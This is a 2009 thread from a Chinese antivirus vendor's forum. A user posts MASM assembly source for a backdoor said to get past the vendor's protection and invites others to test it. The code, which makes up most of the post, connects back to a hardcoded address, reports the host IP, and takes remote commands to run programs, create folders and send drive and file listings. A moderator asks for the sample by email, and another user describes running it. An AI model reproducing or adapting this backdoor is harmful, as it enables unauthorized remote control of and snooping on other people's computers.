微点交流论坛
» 游客:  注册 | 登录 | 帮助

 

作者:
标题: 据说过微点后门程序,有附件可以测试
baimuyi945
新手上路





积分 3
发帖 3
注册 2009-4-30
#1  据说过微点后门程序,有附件可以测试

据说过微点后门程序(大家测试一下)
Tags: 后门 程序

代码


  .386
  .model flat,stdcall
  option casemap:none
include  windows.inc
include  user32.inc
includelib user32.lib
include  kernel32.inc
includelib kernel32.lib
include  wsock32.inc
includelib wsock32.lib
include         shell32.inc
includelib      shell32.lib
include         _Message.inc
.data?
  @szBuffer db   256 dup (?)
  @stmsg    MSG_STRUCT <>
  hSocket   dd   ?
  @FindData1  WIN32_FIND_DATA <>
.data
  @stSin sockaddr_in <AF_INET,401Fh,<<<7fh,0,0,1>>>,8 dup (0)>
  
.code
include         _SocketRoute.asm
;//////////////////////////////////////////////////////////////////////////////
_order proc  _msg:ptr MSG_STRUCT
     local @FindData:WIN32_FIND_DATA
     local @szFindFile[MAX_PATH]:byte
     local @hFindFile
   assume esi:ptr MSG_STRUCT
   mov esi,_msg
   ;invoke RtlZeroMemory,esi,sizeof MSG_STRUCT
   .if [esi].MsgHead.dwCmdId == CMD_MSGBOX
        add esi,6
        invoke lstrlen,esi
        inc eax
        mov edi,esi
        add esi,eax
        invoke MessageBox,NULL,esi,edi,MB_OK
   .elseif [esi].MsgHead.dwCmdId == CMD_CREATEFOLDER
        add esi,6
        invoke CreateDirectory,esi,0
   .elseif [esi].MsgHead.dwCmdId == CMD_CREATEPROCESS
        add esi,6
        invoke ShellExecute,0,0,esi,0,0,SW_SHOWNORMAL
   .elseif [esi].MsgHead.dwCmdId == CMD_BROWSE
        .if dword ptr [esi].MsgHead.dwLength == 7
          invoke  GetLogicalDriveStrings,sizeof MSG_STRUCT.FILE.dbFILE,addr [esi].FILE.dbFILE
          push edi
          mov edi,esi
          add edi,6
         _len:
          invoke  lstrlen,edi
          inc eax
          add edi,eax
          .if dword ptr [edi] == 0
          jmp _send
          .endif
          jmp _len
         _send:
          sub edi,esi
          inc edi
          mov [esi].MsgHead.dwLength,edi
          pop edi
          mov [esi].MsgHead.dwCmdId,CMD_DRIVES
          invoke send,hSocket,esi,[esi].MsgHead.dwLength,0
          ret
        .endif
        add esi,6
        invoke FindFirstFile,esi,addr @FindData
        .if  eax != INVALID_HANDLE_VALUE
           mov   @hFindFile,eax
           .repeat
                  invoke  lstrcpy,esi,addr @FindData.cFileName                                                              
                  .if @FindData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY
                        .if @FindData.cFileName == '.'
                               jmp _next
                        .endif  
                           mov  @stmsg.MsgHead.dwCmdId,CMD_FOLDERNAME
                  .else
                           mov  @stmsg.MsgHead.dwCmdId,CMD_FILENAME         
                  .endif
                  invoke  lstrlen,addr @FindData.cFileName
                  add eax,6
                  inc eax
                  mov  @stmsg.MsgHead.dwLength,eax
                  invoke send,hSocket,addr @stmsg,@stmsg.MsgHead.dwLength,0
             _next:     
                invoke FindNextFile,@hFindFile,addr @FindData
           .until (eax == FALSE)
        .endif
        mov @stmsg.MsgHead.dwLength,6
        mov @stmsg.MsgHead.dwCmdId,CMD_END
        invoke send,hSocket,OFFSET @stmsg,@stmsg.MsgHead.dwLength,0
   .endif
   assume esi:nothing
  ret
_order endp
;////////////////////////////////////////////////////////////////////////////////
_WinMain proc
   local  @stWsa:WSADATA,ipaddr:dword
  _st:
  invoke WSAStartup,101h,addr @stWsa
  invoke gethostname,OFFSET @szBuffer,1024
  invoke gethostbyname,OFFSET @szBuffer
  .if eax
     mov    eax,[eax+hostent.h_list]
     .while dword ptr [eax]
            mov ecx,[eax]
            mov ecx,[ecx]
            add eax,4
     .endw
  .endif
   mov ipaddr,ecx
   invoke socket,AF_INET,SOCK_STREAM,0
   mov hSocket ,eax
_connect:   
   invoke connect,hSocket,addr @stSin,sizeof @stSin
   .if eax == SOCKET_ERROR
       invoke Sleep,6000
       jmp _connect
   .endif
    invoke inet_ntoa,ipaddr
    .if eax
       invoke lstrcpy,OFFSET @stmsg.CONNET.ddIp,eax
    .endif
    invoke lstrlen,OFFSET @stmsg.CONNET.ddIp
    add eax,7
    mov @stmsg.MsgHead.dwCmdId,CMD_CONNECT
    mov @stmsg.MsgHead.dwLength,eax
    invoke send,hSocket,OFFSET @stmsg,@stmsg.MsgHead.dwLength,0
    cmp eax,SOCKET_ERROR
    jz _ret
          .while TRUE
              invoke _WaitData,hSocket,200 * 1000
             .break .if eax == SOCKET_ERROR
             .if     eax
                     invoke _RecvPacket,hSocket,addr @stmsg,sizeof @stmsg
                     .break .if eax
                    ;处理代码
                    invoke  _order,OFFSET @stmsg
             .endif
          .endw
  _ret:
   invoke closesocket,hSocket
   jmp _st
   ret
_WinMain endp
start:
          call _WinMain
          nop
          invoke ExitProcess,NULL
end start

※ ※ ※ 本文纯属【baimuyi945】个人意见,与【 微点交流论坛 】立场无关※ ※ ※
2009-5-3 09:52
查看资料  发送邮件  发短消息   编辑帖子
baimuyi945
新手上路





积分 3
发帖 3
注册 2009-4-30
#2  附件格式RAR不让上传

在吗办呀

※ ※ ※ 本文纯属【baimuyi945】个人意见,与【 微点交流论坛 】立场无关※ ※ ※
2009-5-3 09:53
查看资料  发送邮件  发短消息   编辑帖子
Legend
超级版主

超级版主



积分 77171
发帖 70170
注册 2005-10-29
#3  

出于安全考虑,目前微点论坛不允许上传RAR格式文件,楼主可以将您的文件发到微点的技术支持邮箱或者样本邮箱:support@micropoint.com.cnvirus@micropoint.com.cn,我们将具体测试分析后与您联系!感谢反馈!

※文章所有权归【Legend】与【东方微点论坛】共同所有,转载请注明出处!※

微点官方认证新浪微博:欢迎进入 微点新浪微博
微点技术支持邮箱: support@micropoint.com.cn
给Legend发短消息
2009-5-3 10:02
查看资料  发短消息   编辑帖子
hccccc
中级用户





积分 488
发帖 488
注册 2007-6-17
#4  

我试了下,不知道是否防住了,也不知道是否根本没有危害?

将上面代码保存为.exe,运行。好像提示什么模块丢失,然后看进程多了2个,其中一个ntvdm.exe已退出,另一个是conime.exe已运行,看其加载的模块都是可信的。

是不是这个做法?好像也没什么危害吧?

附件 1: 2.JPG (2009-5-5 12:48, 122.18 K,下载次数: 53)


※ ※ ※ 本文纯属【hccccc】个人意见,与【 微点交流论坛 】立场无关※ ※ ※
2009-5-5 12:48
查看资料  发短消息   编辑帖子
Legend
超级版主

超级版主



积分 77171
发帖 70170
注册 2005-10-29
#5  

请楼主注意查收邮件,如果依然有疑问,请及时联系我们解决。

※文章所有权归【Legend】与【东方微点论坛】共同所有,转载请注明出处!※

微点官方认证新浪微博:欢迎进入 微点新浪微博
微点技术支持邮箱: support@micropoint.com.cn
给Legend发短消息
2009-5-5 15:48
查看资料  发短消息   编辑帖子



论坛跳转:

可打印版本 | 推荐 | 订阅 | 收藏


[ 联系我们 - 东方微点 ]


北京东方微点信息技术有限责任公司 福建东方微点信息安全有限责任公司

闽ICP备05030815号